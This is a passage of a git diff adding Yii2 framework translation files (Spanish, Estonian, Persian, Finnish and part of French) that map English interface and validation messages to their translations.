{min, plural, one{character} other{characters}}.' => '{attribute} debería contener al menos {min, number} {min, plural, one{letra} other{letras}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} debería contener como máximo {max, number} {max, plural, one{letra} other{letras}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} debería contener {length, number} {length, plural, one{letra} other{letras}}.', + '{delta, plural, =1{a day} other{# days}} ago' => 'hace {delta, plural, =1{un día} other{# días}}', + '{delta, plural, =1{a minute} other{# minutes}} ago' => 'hace {delta, plural, =1{un minuto} other{# minutos}}', + '{delta, plural, =1{a month} other{# months}} ago' => 'hace {delta, plural, =1{un mes} other{# meses}}', + '{delta, plural, =1{a second} other{# seconds}} ago' => 'hace {delta, plural, =1{un segundo} other{# segundos}}', + '{delta, plural, =1{a year} other{# years}} ago' => 'hace {delta, plural, =1{un año} other{# años}}', + '{delta, plural, =1{an hour} other{# hours}} ago' => 'hace {delta, plural, =1{una hora} other{# horas}}', + '{n, plural, =1{# byte} other{# bytes}}' => '{n, plural, =1{# byte} other{# bytes}}', + '{n, plural, =1{# gigabyte} other{# gigabytes}}' => '{n, plural, =1{# gigabyte} other{# gigabytes}}', + '{n, plural, =1{# kilobyte} other{# kilobytes}}' => '{n, plural, =1{# kilobyte} other{# kilobytes}}', + '{n, plural, =1{# megabyte} other{# megabytes}}' => '{n, plural, =1{# megabyte} other{# megabytes}}', + '{n, plural, =1{# petabyte} other{# petabytes}}' => '{n, plural, =1{# petabyte} other{# petabytes}}', + '{n, plural, =1{# terabyte} other{# terabytes}}' => '{n, plural, =1{# terabyte} other{# terabytes}}', + '{n} B' => '{n} B', + '{n} GB' => '{n} GB', + '{n} KB' => '{n} KB', + '{n} MB' => '{n} MB', + '{n} PB' => '{n} PB', + '{n} TB' => '{n} TB', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/et/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/et/yii.php new file mode 100644 index 00000000..a29a0344 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/et/yii.php @@ -0,0 +1,106 @@ + '(määramata)', + 'An internal server error occurred.' => 'Ilmnes serveri sisemine viga.', + 'Are you sure you want to delete this item?' => 'Kas olete kindel, et soovite selle üksuse kustutada?', + 'Delete' => 'Kustuta', + 'Error' => 'Viga', + 'File upload failed.' => 'Faili üleslaadimine ebaõnnestus.', + 'Home' => 'Avaleht', + 'Invalid data received for parameter "{param}".' => 'Vastu võeti vigased andmed parameetri "{param}" jaoks.', + 'Login Required' => 'Vajab sisselogimist', + 'Missing required arguments: {params}' => 'Puuduvad nõutud argumendid: {params}', + 'Missing required parameters: {params}' => 'Puuduvad nõutud parameetrid: {params}', + 'No' => 'Ei', + 'No help for unknown command "{command}".' => 'Abi puudub tundmatu käsu "{command}" jaoks.', + 'No help for unknown sub-command "{command}".' => 'Abi puudub tundmatu alamkäsu "{command}" jaoks.', + 'No results found.' => 'Ei leitud ühtegi tulemust.', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Lubatud on ainult nende MIME tüüpidega failid: {mimeTypes}.', + 'Only files with these extensions are allowed: {extensions}.' => 'Lubatud on ainult nende faililaienditega failid: {extensions}.', + 'Page not found.' => 'Lehekülge ei leitud.', + 'Please fix the following errors:' => 'Palun parandage järgnevad vead:', + 'Please upload a file.' => 'Palun laadige fail üles.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Näitan {totalCount, number} {totalCount, plural, one{üksusest} other{üksusest}} {begin, number}-{end, number}.', + 'The file "{file}" is not an image.' => 'Fail "{file}" ei ole pilt.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Fail "{file}" on liiga suur. Suurus ei tohi ületada {limit, number} {limit, plural, one{baiti} other{baiti}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Fail "{file}" on liiga väike. Suurus ei tohi olla väiksem kui {limit, number} {limit, plural, one{baiti} other{baiti}}.', + 'The format of {attribute} is invalid.' => '{attribute} on sobimatus vormingus.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Pilt "{file}" on liiga suur. Kõrgus ei tohi olla suurem kui {limit, number} {limit, plural, one{piksel} other{pikslit}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Pilt "{file}" on liiga suur. Laius ei tohi olla suurem kui {limit, number} {limit, plural, one{piksel} other{pikslit}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Pilt "{file}" on liiga väike. Kõrgus ei tohi olla väiksem kui {limit, number} {limit, plural, one{piksel} other{pikslit}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Pilt "{file}" on liiga väike. Laius ei tohi olla väiksem kui {limit, number} {limit, plural, one{piksel} other{pikslit}}.', + 'The requested view "{name}" was not found.' => 'Soovitud vaadet "{name}" ei leitud.', + 'The verification code is incorrect.' => 'Kontrollkood ei ole õige.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Kokku {count, number} {count, plural, one{üksus} other{üksust}}.', + 'Unable to verify your data submission.' => 'Ei suuda teie andmesööte õigsuses veenduda.', + 'Unknown command "{command}".' => 'Tundmatu käsklus "{command}".', + 'Unknown option: --{name}' => 'Tundmatu valik: --{name}', + 'Update' => 'Muuda', + 'View' => 'Vaata', + 'Yes' => 'Jah', + 'You are not allowed to perform this action.' => 'Teil pole õigust seda toimingut sooritada.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Saate üles laadida kõige rohkem {limit, number} {limit, plural, one{faili} other{faili}}.', + 'in {delta, plural, =1{a day} other{# days}}' => '{delta, plural, =1{ühe päeva} other{# päeva}} pärast', + 'in {delta, plural, =1{a minute} other{# minutes}}' => '{delta, plural, =1{ühe minuti} other{# minuti}} pärast', + 'in {delta, plural, =1{a month} other{# months}}' => '{delta, plural, =1{ühe kuu} other{# kuu}} pärast', + 'in {delta, plural, =1{a second} other{# seconds}}' => '{delta, plural, =1{ühe sekundi} other{# sekundi}} pärast', + 'in {delta, plural, =1{a year} other{# years}}' => '{delta, plural, =1{ühe aasta} other{# aasta}} pärast', + 'in {delta, plural, =1{an hour} other{# hours}}' => '{delta, plural, =1{ühe tunni} other{# tunni}} pärast', + 'the input value' => 'sisendväärtus', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" on juba kasutuses.', + '{attribute} cannot be blank.' => '{attribute} ei tohi olla tühi.', + '{attribute} is invalid.' => '{attribute} on vigane.', + '{attribute} is not a valid URL.' => '{attribute} ei ole korrektne URL.', + '{attribute} is not a valid email address.' => '{attribute} ei ole korrektne e-posti aadress.', + '{attribute} must be "{requiredValue}".' => '{attribute} peab olema "{requiredValue}".', + '{attribute} must be a number.' => '{attribute} peab olema number.', + '{attribute} must be a string.' => '{attribute} peab olema sõne.', + '{attribute} must be an integer.' => '{attribute} peab olema täisarv.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} peab olema kas "{true}" või "{false}".', + '{attribute} must be greater than "{compareValue}".' => '{attribute} peab olema suurem kui "{compareValue}".', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} peab olema suurem või võrdne "{compareValue}".', + '{attribute} must be less than "{compareValue}".' => '{attribute} peab olema väiksem kui "{compareValue}".', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} peab olema väiksem või võrdne "{compareValue}".', + '{attribute} must be no greater than {max}.' => '{attribute} ei tohi olla suurem kui {max}.', + '{attribute} must be no less than {min}.' => '{attribute} ei tohi olla väiksem kui {min}.', + '{attribute} must be repeated exactly.' => '{attribute} peab täpselt kattuma.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} ei tohi olla "{compareValue}".', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} peab sisaldama vähemalt {min, number} {min, plural, one{märki} other{märki}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} tohib sisaldada maksimaalselt {max, number} {max, plural, one{märki} other{märki}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} peab sisaldama {length, number} {length, plural, one{märki} other{märki}}.', + '{delta, plural, =1{a day} other{# days}} ago' => '{delta, plural, =1{üks päev} other{# päeva}} tagasi', + '{delta, plural, =1{a minute} other{# minutes}} ago' => '{delta, plural, =1{üks minut} other{# minutit}} tagasi', + '{delta, plural, =1{a month} other{# months}} ago' => '{delta, plural, =1{kuu aega} other{# kuud}} tagasi', + '{delta, plural, =1{a second} other{# seconds}} ago' => '{delta, plural, =1{üks sekund} other{# sekundit}} tagasi', + '{delta, plural, =1{a year} other{# years}} ago' => '{delta, plural, =1{aasta} other{# aastat}} tagasi', + '{delta, plural, =1{an hour} other{# hours}} ago' => '{delta, plural, =1{tund aega} other{# tundi}} tagasi', + '{n, plural, =1{# byte} other{# bytes}}' => '{n, plural, =1{# bait} other{# baiti}}', + '{n, plural, =1{# gigabyte} other{# gigabytes}}' => '{n, plural, =1{# gigabait} other{# gigabaiti}}', + '{n, plural, =1{# kilobyte} other{# kilobytes}}' => '{n, plural, =1{# kilobait} other{# kilobaiti}}', + '{n, plural, =1{# megabyte} other{# megabytes}}' => '{n, plural, =1{# megabait} other{# megabaiti}}', + '{n, plural, =1{# petabyte} other{# petabytes}}' => '{n, plural, =1{# petabait} other{# petabaiti}}', + '{n, plural, =1{# terabyte} other{# terabytes}}' => '{n, plural, =1{# terabait} other{# terabaiti}}', + '{n} B' => '{n} B', + '{n} GB' => '{n} GB', + '{n} KB' => '{n} KB', + '{n} MB' => '{n} MB', + '{n} PB' => '{n} PB', + '{n} TB' => '{n} TB', +); diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/fa-IR/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/fa-IR/yii.php new file mode 100644 index 00000000..44f85b52 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/fa-IR/yii.php @@ -0,0 +1,79 @@ + '(تنظیم نشده)', + 'An internal server error occurred.' => 'خطای داخلی سرور رخ داده است.', + 'Delete' => 'حذف', + 'Error' => 'خطا', + 'File upload failed.' => 'آپلود فایل شکست خورد.', + 'Home' => 'صفحه‌اصلی', + 'Invalid data received for parameter "{param}".' => 'برای پارامتر "{param}" اطلاعات نادرستی دریافت شده است.', + 'Login Required' => 'ورود اجباری', + 'Missing required arguments: {params}' => 'فاقد آرگومان‌های مورد نیاز: {params}', + 'Missing required parameters: {params}' => 'فاقد پارامترهای مورد نیاز: {params}', + 'No' => 'خیر', + 'No help for unknown command "{command}".' => 'فرمان ناشناخته بدون راهنما: "{command}".', + 'No help for unknown sub-command "{command}".' => 'زیرفرمان ناشناخته بدون راهنما: "{command}".', + 'No results found.' => 'نتیجه‌ای یافت نشد.', + 'Only files with these extensions are allowed: {extensions}.' => 'فقط فایل‌های با این پسوندها مجاز هستند: {extentions}.', + 'Page not found.' => 'صفحه‌ای یافت نشد.', + 'Please fix the following errors:' => 'لطفاً خطاهای زیر را رفع نمائید:', + 'Please upload a file.' => 'لطفاً یک فایل آپلود کنید.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'نمایش {begin, number} تا {end, number} مورد از کل {totalCount, number} مورد.', + 'The file "{file}" is not an image.' => 'فایل "{file}" یک تصویر نیست.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'حجم فایل "{file}" بیش از حد زیاد است. مقدار آن نمی‌تواند بیشتر از {limit, number} بایت باشد.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'حجم فایل "{file}" بیش از حد کم است. مقدار آن نمی‌تواند کمتر از {limit, number} بایت باشد.', + 'The format of {attribute} is invalid.' => 'قالب {attribute} نامعتبر است.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'تصویر "{file}" خیلی بزرگ است. ارتفاع نمی‌تواند بزرگتر از {limit, number} پیکسل باشد.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'تصویر "{file}" خیلی بزرگ است. عرض نمی‌تواند بزرگتر از {limit, number} پیکسل باشد.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'تصویر "{file}" خیلی کوچک است. ارتفاع نمی‌تواند کوچکتر از {limit, number} پیکسل باشد.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'تصویر "{file}" خیلی کوچک است. عرض نمی‌تواند کوچکتر از {limit, number} پیکسل باشد.', + 'The verification code is incorrect.' => 'کد تائید اشتباه است.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'مجموع {count, number} مورد.', + 'Unable to verify your data submission.' => 'قادر به تائید اطلاعات ارسالی شما نمی‌باشد.', + 'Unknown command "{command}".' => 'فرمان ناشناخته "{command}".', + 'Unknown option: --{name}' => 'گزینه ناشناخته: --{name}', + 'Update' => 'بروزرسانی', + 'View' => 'نما', + 'Yes' => 'بله', + 'You are not allowed to perform this action.' => 'شما دسترسی به انجام این عملیات را ندارید.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'شما حداکثر {limit, number} فایل را می‌توانید آپلود کنید.', + 'the input value' => 'مقدار ورودی', + '{attribute} "{value}" has already been taken.' => '{attribute} با مقدار "{value}" در حال حاضر گرفته‌شده است.', + '{attribute} cannot be blank.' => '{attribute} نمی‌تواند خالی باشد.', + '{attribute} is invalid.' => '{attribute} معتبر نیست.', + '{attribute} is not a valid URL.' => '{attribute} یک URL معتبر نیست.', + '{attribute} is not a valid email address.' => '{attribute} یک آدرس ایمیل معتبر نیست.', + '{attribute} must be "{requiredValue}".' => '{attribute} باید "{requiredValue}" باشد.', + '{attribute} must be a number.' => '{attribute} باید یک عدد باشد.', + '{attribute} must be a string.' => '{attribute} باید یک رشته باشد.', + '{attribute} must be an integer.' => '{attribute} باید یک عدد صحیح باشد.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} باید "{true}" و یا "{false}" باشد.', + '{attribute} must be greater than "{compareValue}".' => '{attribute} باید بزرگتر از "{compareValue}" باشد.', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} باید بزرگتر و یا مساوی "{compareValue}" باشد.', + '{attribute} must be less than "{compareValue}".' => '{attribute} باید کوچکتر از "{compareValue}" باشد.', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} باید کوچکتر و یا مساوی "{compareValue}" باشد.', + '{attribute} must be no greater than {max}.' => '{attribute} نباید بیشتر از "{compareValue}" باشد.', + '{attribute} must be no less than {min}.' => '{attribute} نباید کمتر از "{compareValue}" باشد.', + '{attribute} must be repeated exactly.' => '{attribute} عیناً باید تکرار شود.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} نباید برابر با "{compareValue}" باشد.', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} حداقل باید شامل {min, number} کارکتر باشد.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} حداکثر باید شامل {max, number} کارکتر باشد.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} باید شامل {length, number} کارکتر باشد.', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/fi/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/fi/yii.php new file mode 100644 index 00000000..6310954b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/fi/yii.php @@ -0,0 +1,114 @@ + '(ei asetettu)', + 'An internal server error occurred.' => 'Sisäinen palvelinvirhe.', + 'Are you sure you want to delete this item?' => 'Haluatko varmasti poistaa tämän?', + 'Delete' => 'Poista', + 'Error' => 'Virhe', + 'File upload failed.' => 'Tiedoston lähetys epäonnistui.', + 'Home' => 'Koti', + 'Invalid data received for parameter "{param}".' => 'Parametri "{param}" vastaanotti virheellistä dataa.', + 'Login Required' => 'Kirjautuminen vaaditaan', + 'Missing required arguments: {params}' => 'Pakolliset argumentit puuttuu: {params}', + 'Missing required parameters: {params}' => 'Pakolliset parametrit puuttuu: {params}', + 'No' => 'Ei', + 'No results found.' => 'Ei tuloksia.', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Sallittuja ovat vain tiedostot, joiden MIME-tyyppi on: {mimeTypes}.', + 'Only files with these extensions are allowed: {extensions}.' => 'Sallittuja ovat vain tiedostot, joiden tiedostopääte on: {extensions}.', + 'Page not found.' => 'Sivua ei löytynyt.', + 'Please fix the following errors:' => 'Korjaa seuraavat virheet:', + 'Please upload a file.' => 'Lähetä tiedosto.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Näytetään {begin, number}-{end, number} kaikkiaan {totalCount, number} {totalCount, plural, one{tuloksesta} other{tuloksesta}}.', + 'The file "{file}" is not an image.' => 'Tiedosto "{file}" ei ole kuva.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Tiedosto "{file}" on liian iso. Sen koko ei voi olla suurempi kuin {limit, number} {limit, plural, one{tavu} other{tavua}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Tiedosto "{file}" on liian pieni. Sen koko ei voi olla pienempi kuin {limit, number} {limit, plural, one{tavu} other{tavua}}.', + 'The format of {attribute} is invalid.' => 'Attribuutin {attribute} formaatti on virheellinen.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Kuva "{file}" on liian suuri. Korkeus ei voi olla suurempi kuin {limit, number} {limit, plural, one{pikseli} other{pikseliä}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Kuva "{file}" on liian suuri. Leveys ei voi olla suurempi kuin {limit, number} {limit, plural, one{pikseli} other{pikseliä}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Kuva "{file}" on liian pieni. Korkeus ei voi olla pienempi kuin {limit, number} {limit, plural, one{pikseli} other{pikseliä}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Kuva "{file}" on liian pieni. Leveys ei voi olla pienempi kuin {limit, number} {limit, plural, one{pikseli} other{pikseliä}}.', + 'The requested view "{name}" was not found.' => 'Pyydettyä näkymää "{name}" ei löytynyt.', + 'The verification code is incorrect.' => 'Vahvistuskoodi on virheellinen.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Yhteensä {count, number} {count, plural, one{tulos} other{tulosta}}.', + 'Unable to verify your data submission.' => 'Tietojen lähetystä ei voida varmistaa.', + 'Unknown option: --{name}' => 'Tuntematon valinta: --{name}', + 'Update' => 'Päivitä', + 'View' => 'Näytä', + 'Yes' => 'Kyllä', + 'You are not allowed to perform this action.' => 'Sinulla ei ole tarvittavia oikeuksia toiminnon suorittamiseen.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Voit lähettää enintään {limit, number} {limit, plural, one{tiedoston} other{tiedostoa}}.', + 'in {delta, plural, =1{a day} other{# days}}' => '{delta, plural, =1{päivässä} other{# päivässä}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => '{delta, plural, =1{minuutissa} other{# minuutissa}}', + 'in {delta, plural, =1{a month} other{# months}}' => '{delta, plural, =1{kuukaudessa} other{# kuukaudessa}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => '{delta, plural, =1{sekunnissa} other{# sekunnissa}}', + 'in {delta, plural, =1{a year} other{# years}}' => '{delta, plural, =1{vuodessa} other{# vuodessa}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => '{delta, plural, =1{tunnissa} other{# tunnissa}}', + 'just now' => 'juuri nyt', + 'the input value' => 'syötetty arvo', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" on jo käytössä.', + '{attribute} cannot be blank.' => '{attribute} ei voi olla tyhjä.', + '{attribute} is invalid.' => '{attribute} on virheellinen.', + '{attribute} is not a valid URL.' => '{attribute} on virheellinen URL.', + '{attribute} is not a valid email address.' => '{attribute} on virheellinen sähköpostiosoite.', + '{attribute} must be "{requiredValue}".' => '{attribute} täytyy olla "{requiredValue}".', + '{attribute} must be a number.' => '{attribute} täytyy olla luku.', + '{attribute} must be a string.' => '{attribute} täytyy olla merkkijono.', + '{attribute} must be an integer.' => '{attribute} täytyy olla kokonaisluku.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} täytyy olla joko {true} tai {false}.', + '{attribute} must be greater than "{compareValue}".' => '{attribute} täytyy olla suurempi kuin "{compareValue}".', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} täytyy olla suurempi tai yhtä suuri kuin "{compareValue}".', + '{attribute} must be less than "{compareValue}".' => '{attribute} täytyy olla pienempi kuin "{compareValue}".', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} täytyy olla pienempi tai yhtä suuri kuin "{compareValue}".', + '{attribute} must be no greater than {max}.' => '{attribute} ei saa olla suurempi kuin "{max}".', + '{attribute} must be no less than {min}.' => '{attribute} ei saa olla pienempi kuin "{min}".', + '{attribute} must be repeated exactly.' => '{attribute} täytyy toistaa täsmälleen.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} ei saa olla yhtä suuri kuin "{compareValue}".', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} tulisi sisältää vähintään {min, number} {min, plural, one{merkki} other{merkkiä}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} tulisi sisältää enintään {max, number} {max, plural, one{merkki} other{merkkiä}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} tulisi sisältää {length, number} {length, plural, one{merkki} other{merkkiä}}.', + '{delta, plural, =1{a day} other{# days}} ago' => '{delta, plural, =1{päivä} other{# päivää}} sitten', + '{delta, plural, =1{a minute} other{# minutes}} ago' => '{delta, plural, =1{minuutti} other{# minuuttia}} sitten', + '{delta, plural, =1{a month} other{# months}} ago' => '{delta, plural, =1{kuukausi} other{# kuukautta}} sitten', + '{delta, plural, =1{a second} other{# seconds}} ago' => '{delta, plural, =1{sekunti} other{# sekuntia}} sitten', + '{delta, plural, =1{a year} other{# years}} ago' => '{delta, plural, =1{vuosi} other{# vuotta}} sitten', + '{delta, plural, =1{an hour} other{# hours}} ago' => '{delta, plural, =1{tunti} other{# tuntia}} sitten', + '{nFormatted} B' => '{nFormatted} t', + '{nFormatted} GB' => '{nFormatted} Gt', + '{nFormatted} GiB' => '{nFormatted} GiB', + '{nFormatted} KB' => '{nFormatted} kt', + '{nFormatted} KiB' => '{nFormatted} KiB', + '{nFormatted} MB' => '{nFormatted} Mt', + '{nFormatted} MiB' => '{nFormatted} MiB', + '{nFormatted} PB' => '{nFormatted} Pt', + '{nFormatted} PiB' => '{nFormatted} PiB', + '{nFormatted} TB' => '{nFormatted} Tt', + '{nFormatted} TiB' => '{nFormatted} TiB', + '{nFormatted} {n, plural, =1{byte} other{bytes}}' => '{nFormatted} {n, plural, =1{tavu} other{tavua}}', + '{nFormatted} {n, plural, =1{gibibyte} other{gibibytes}}' => '{nFormatted} {n, plural, =1{gibitavu} other{gibitavua}}', + '{nFormatted} {n, plural, =1{gigabyte} other{gigabytes}}' => '{nFormatted} {n, plural, =1{gigatavu} other{gigatavua}}', + '{nFormatted} {n, plural, =1{kibibyte} other{kibibytes}}' => '{nFormatted} {n, plural, =1{kibitavu} other{kibitavua}}', + '{nFormatted} {n, plural, =1{kilobyte} other{kilobytes}}' => '{nFormatted} {n, plural, =1{kilotavu} other{kilotavua}}', + '{nFormatted} {n, plural, =1{mebibyte} other{mebibytes}}' => '{nFormatted} {n, plural, =1{mebitavu} other{mebitavua}}', + '{nFormatted} {n, plural, =1{megabyte} other{megabytes}}' => '{nFormatted} {n, plural, =1{megatavu} other{megatavua}}', + '{nFormatted} {n, plural, =1{pebibyte} other{pebibytes}}' => '{nFormatted} {n, plural, =1{pebitavu} other{pebitavua}}', + '{nFormatted} {n, plural, =1{petabyte} other{petabytes}}' => '{nFormatted} {n, plural, =1{petatavu} other{petatavua}}', + '{nFormatted} {n, plural, =1{tebibyte} other{tebibytes}}' => '{nFormatted} {n, plural, =1{tebitavu} other{tebitavua}}', + '{nFormatted} {n, plural, =1{terabyte} other{terabytes}}' => '{nFormatted} {n, plural, =1{teratavu} other{teratavua}}', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/fr/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/fr/yii.php new file mode 100644 index 00000000..5ff89317 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/fr/yii.php @@ -0,0 +1,105 @@ + '(non défini)', + 'An internal server error occurred.' => 'Une erreur de serveur interne s\'est produite.', + 'Are you sure you want to delete this item?' => 'Êtes-vous sûr de vouloir supprimer cet élément ?', + 'Delete' => 'Supprimer', + 'Error' => 'Erreur', + 'File upload failed.' => 'Le téléchargement du fichier a échoué.', + 'Home' => 'Accueil', + 'Invalid data received for parameter "{param}".' => 'Données non valides reçues pour le paramètre « {param} ».', + 'Login Required' => 'Identifiant requis', + 'Missing required arguments: {params}' => 'Arguments manquants requis : {params}', + 'Missing required parameters: {params}' => 'Paramètres manquants requis : {params}', + 'No' => 'Non', + 'No help for unknown command "{command}".' => 'Aucune aide pour la commande inconnue « {command} ».', + 'No help for unknown sub-command "{command}".' => 'Aucune aide pour la sous-commande inconnue « {command} ».', + 'No results found.' => 'Aucun résultat trouvé.', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Seulement les fichiers ayant ces types MIME sont autorisés : {mimeTypes}.', + 'Only files with these extensions are allowed: {extensions}.' => 'Les extensions de fichier autorisées sont : {extensions}.', + 'Page not found.' => 'Page non trouvée.', + 'Please fix the following errors:' => 'Veuillez vérifier les erreurs suivantes :', + 'Please upload a file.' => 'Veuillez télécharger un fichier.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Affichage de {begin, number}-{end, number} sur {totalCount, number} {totalCount, plural, one{élément} other{éléments}}.', + 'The file "{file}" is not an image.' => 'Le fichier « {file} » n\'est pas une image.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Le fichier « {file} » est trop gros. Sa taille ne peut dépasser {limit, number} {limit, plural, one{octet} other{octets}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Le fichier « {file} » est trop petit. Sa taille ne peut être inférieure à {limit, number} {limit, plural, one{octet} other{octets}}.', + 'The format of {attribute} is invalid.' => 'Le format de {attribute} est invalide', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'L\'image « {file} » est trop grande. La hauteur ne peut être supérieure à {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'L\'image « {file} » est trop large. La largeur ne peut être supérieure à {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'L\'image « {file} » est trop petite. La hauteur ne peut être inférieure à {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'L\'image « {file} » est trop petite. La largeur ne peut être inférieure à {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The verification code is incorrect.' => 'Le code de vérification est incorrect.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Total {count, number} {count, plural, one{élément} other{éléments}}.', + 'Unable to verify your data submission.' => 'Impossible de vérifier votre envoi de données.', + 'Unknown command "{command}".' => 'Commande inconnue : « {command} ».', + 'Unknown option: --{name}' => 'Option inconnue : --{name}', + 'Update' => 'Modifier', + 'View' => 'Voir', + 'Yes' => 'Oui', + 'You are not allowed to perform this action.' => 'Vous n\'êtes pas autorisé à effectuer cette action.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Vous pouvez télécharger au maximum {limit, number} {limit, plural, one{fichier} other{fichiers}}.', + 'in {delta, plural, =1{a day} other{# days}}' => 'dans {delta, plural, =1{un jour} other{# jours}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'dans {delta, plural, =1{une minute} other{# minutes}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'dans {delta, plural, =1{un mois} other{# mois}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'dans {delta, plural, =1{une seconde} other{# secondes}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'dans {delta, plural, =1{un an} other{# ans}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'dans {delta, plural, =1{une heure} other{# heures}}', + 'the input value' => 'la valeur d\'entrée', + '{attribute} "{value}" has already been taken.' => '{attribute} « {value} » a déjà été pris.', + '{attribute} cannot be blank.' => '{attribute} ne peut 